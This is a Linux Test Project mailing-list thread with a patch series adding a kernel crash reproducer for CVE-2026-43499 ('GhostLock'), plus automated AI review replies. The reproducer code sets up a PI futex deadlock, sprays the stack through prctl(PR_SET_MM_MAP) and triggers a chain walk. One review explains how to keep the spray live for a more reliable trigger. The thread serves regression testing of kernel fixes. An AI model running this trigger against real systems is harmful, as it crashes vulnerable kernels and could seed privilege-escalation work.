Re: [LTP] lapi/prctl: add more fallback definitions

Re: [LTP] lapi/prctl: add more fallback definitions

[linuxtestproject.agent]

Hi Andrea,

On Aug 1, 2026, Andrea Cervesato wrote:
> lapi/prctl: add more fallback definitions

--- [PATCH 2/2] ---

> +	static const int try_sizes[] = {
> +		MAX_AUXV_QWORDS,
> +		MAX_AUXV_QWORDS - 4,
> +		MAX_AUXV_QWORDS - 8
> +	};
> [...]
> +		valid_auxv_size = try_sizes[i] * sizeof(uint64_t);

Could these sizes either use the native word size, or could the test be
restricted to the 64-bit architectures on which the reproducer works?

On i386, the smallest attempted size is 320 bytes, but the kernel's
saved_auxv is only 56 * sizeof(unsigned long), or 224 bytes.
prctl_set_mm_map() therefore rejects all three attempts, and setup reports
TBROK. With no supported_archs restriction, the cve runtest entry runs this
test on 32-bit x86.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

[LTP] [PATCH v2 0/2] Reproducer for ghostlock

[Andrea Cervesato]

Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.

Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/20260801-cve-ghostlock-v1-0-178f698f9702@suse.com

---
Andrea Cervesato (2):
      lapi/prctl: add more fallback definitions
      cve: add CVE-2026-43499 reproducer

 configure.ac              |   2 +
 include/lapi/prctl.h      |  25 +++++
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 252 ++++++++++++++++++++++++++++++++++++++++++++++
 6 files changed, 282 insertions(+), 1 deletion(-)
---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

[LTP] [PATCH v2 1/2] lapi/prctl: add more fallback definitions

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add the following fallback definitions:

- PR_SET_MM
- PR_SET_MM_MAP
- PR_SET_MM_MAP_SIZE
- struct prctl_mm_map

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac         |  2 ++
 include/lapi/prctl.h | 25 +++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/configure.ac b/configure.ac
index 19fc5e1b8f5f5f94bd797ff2ba4275c29c20cb6c..052b83e048f43b132c59ba393e439a32e2f251d2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
 
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
 AC_CHECK_TYPES([struct sockaddr_vm],,,[
 #include <sys/socket.h>
 #include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32ef5e2ee7742cc418b4ec40bee8cd661..a681aab499271b618d2e61fb79faf0055b6718dd 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,6 +7,7 @@
 #ifndef LAPI_PRCTL_H__
 #define LAPI_PRCTL_H__
 
+#include <stdint.h>
 #include <sys/prctl.h>
 
 #ifndef PR_SET_NAME
@@ -59,4 +60,28 @@
 # define PR_SET_SPECULATION_CTRL 53
 #endif
 
+#ifndef PR_SET_MM
+# define PR_SET_MM		35
+#endif
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP	14
+#endif
+#ifndef PR_SET_MM_MAP_SIZE
+# define PR_SET_MM_MAP_SIZE	15
+#endif
+
+#if !defined(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP_SIZE)
+struct prctl_mm_map {
+	uint64_t start_code, end_code;
+	uint64_t start_data, end_data;
+	uint64_t start_brk, brk;
+	uint64_t start_stack;
+	uint64_t arg_start, arg_end;
+	uint64_t env_start, env_end;
+	uint64_t *auxv;
+	uint32_t auxv_size;
+	uint32_t exe_fd;
+};
+#endif
+
 #endif /* LAPI_PRCTL_H__ */

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

[LTP] [PATCH v2 2/2] cve: add CVE-2026-43499 reproducer

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add "Ghostlock" reproducer for CVE-2026-43499.

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).

Beware, this test will crash the system on a vulnerable kernel.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 252 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 255 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..3035dff9797260402660208f0e5028803a72d297 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -101,3 +101,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-43499 ghostlock
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..914592f30e4e3e883b6ed270ad47c6910798974e 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+ghostlock
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..22ca4b727ddc240edcc9409ce82904039fc70111 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 0000000000000000000000000000000000000000..e6848ba3c3d72e3753f51d2ec922d2ca85e7f01d
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,252 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ *   pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack via :manpage:`prctl(2)` (PR_SET_MM_MAP) with
+ *   non-canonical addresses.
+ * - Main thread calls :manpage:`sched_setattr(2)` on the waiter to trigger
+ *   a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ *   kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define PRCTL_STAMPS 100
+
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_OWNER_BLOCKED 2
+#define CP_SPRAYED 3
+#define CP_SETATTR_DONE 4
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+				 struct timespec *ts)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+			   uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+			   uaddr2, 0);
+}
+
+static int futex_lock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static int futex_unlock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void run_spray(void)
+{
+	struct prctl_mm_map mm_map = {
+		.start_code  = (uint64_t)(uintptr_t)&run_spray,
+		.end_code    = (uint64_t)(uintptr_t)&run_spray + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&mm_map,
+		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
+		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
+		.env_start   = (uint64_t)(uintptr_t)&mm_map,
+		.env_end     = (uint64_t)(uintptr_t)&mm_map,
+		.auxv        = (void *)auxv,
+		.auxv_size   = valid_auxv_size,
+		.exe_fd      = (uint32_t)-1,
+	};
+
+	for (int i = 0; i < PRCTL_STAMPS; i++) {
+		SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+			   sizeof(mm_map), 0);
+	}
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct timespec ts;
+
+	waiter_tid = tst_syscall(__NR_gettid);
+
+	futex_lock_pi(&f_pi_chain);
+
+	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
+	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
+
+	run_spray();
+
+	TST_CHECKPOINT_WAKE(CP_SPRAYED);
+	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
+
+	futex_unlock_pi(&f_pi_chain);
+
+	return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	owner_tid = tst_syscall(__NR_gettid);
+
+	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+	futex_lock_pi(&f_pi_target);
+	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+	futex_lock_pi(&f_pi_chain);
+
+	futex_unlock_pi(&f_pi_chain);
+	futex_unlock_pi(&f_pi_target);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	static const int try_sizes[] = {
+		MAX_AUXV_WORDS,
+		MAX_AUXV_WORDS - 4,
+		MAX_AUXV_WORDS - 8
+	};
+	struct prctl_mm_map map = {
+		.exe_fd = (uint32_t)-1,
+		.auxv = (void *)auxv,
+	};
+	unsigned int i, sz = 0;
+
+	SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
+
+	for (i = 0; i < MAX_AUXV_WORDS; i++)
+		auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+	map.start_code = map.start_data = map.end_data =
+	map.start_brk = map.brk = map.start_stack = map.arg_start =
+	map.arg_end = map.env_start = map.env_end = (uint64_t)(uintptr_t)&sz;
+	map.end_code = map.start_code + 0x1000;
+
+	for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+		valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+		map.auxv_size = valid_auxv_size;
+
+		if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(try_sizes))
+		tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+	tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+	pthread_t waiter_th, owner_th;
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_BATCH,
+		.sched_nice = 19,
+	};
+
+	tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+	for (int i = 0; i < ATTEMPTS; i++) {
+		f_wait = 0;
+		f_pi_target = 0;
+		f_pi_chain = 0;
+
+		SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+		SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+		TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+		TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+		TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000);
+
+		TST_CHECKPOINT_WAKE(CP_OWNER_BLOCKED);
+
+		TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000);
+
+		TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+		if (TST_RET != -1 || TST_ERR != EDEADLK)
+			tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+		TST_CHECKPOINT_WAIT(CP_SPRAYED);
+
+		TEST(sched_setattr(waiter_tid, &attr, 0));
+		if (TST_RET == -1)
+			tst_brk(TBROK | TTERRNO, "sched_setattr() failed");
+
+		TST_CHECKPOINT_WAKE(CP_SETATTR_DONE);
+
+		SAFE_PTHREAD_JOIN(waiter_th, NULL);
+		SAFE_PTHREAD_JOIN(owner_th, NULL);
+	}
+
+	tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.runtime = 180,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		"CONFIG_FUTEX_PI=y",
+		NULL
+	},
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3bfdc63936dd"},
+		{"CVE", "2026-43499"},
+		{}
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] lapi/prctl: add more fallback definitions

[linuxtestproject.agent]

Hi Andrea,

On Mon, 3 Aug 2026, Andrea Cervesato wrote:
> lapi/prctl: add more fallback definitions

--- [PATCH 1/2] ---

> +#ifndef PR_SET_MM_MAP_SIZE
> +# define PR_SET_MM_MAP_SIZE	15
> +#endif
> +
> +#if !defined(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP_SIZE)

Could this declaration be gated only on HAVE_STRUCT_PRCTL_MM_MAP?
PR_SET_MM_MAP_SIZE is defined immediately above, so the second condition is
always false. On systems where configure finds no struct prctl_mm_map, the
fallback is therefore never declared and the test fails to compile.

--- [PATCH 2/2] ---

> +	run_spray();
> +
> +	TST_CHECKPOINT_WAKE(CP_SPRAYED);
> +	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);

Could sched_setattr() run while PR_SET_MM_MAP is still copying the controlled
auxv? Here all prctl calls return before the checkpoint wake, and the waiter
then executes checkpoint futex syscalls before the main thread starts the
chain walk. The controlled user_auxv stack array is no longer live and can be
overwritten, allowing a vulnerable kernel to survive and be reported as
TPASS. The referenced PoC keeps the prctl copy active while sched_setattr()
runs so that the forged waiter remains live during the chain walk.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp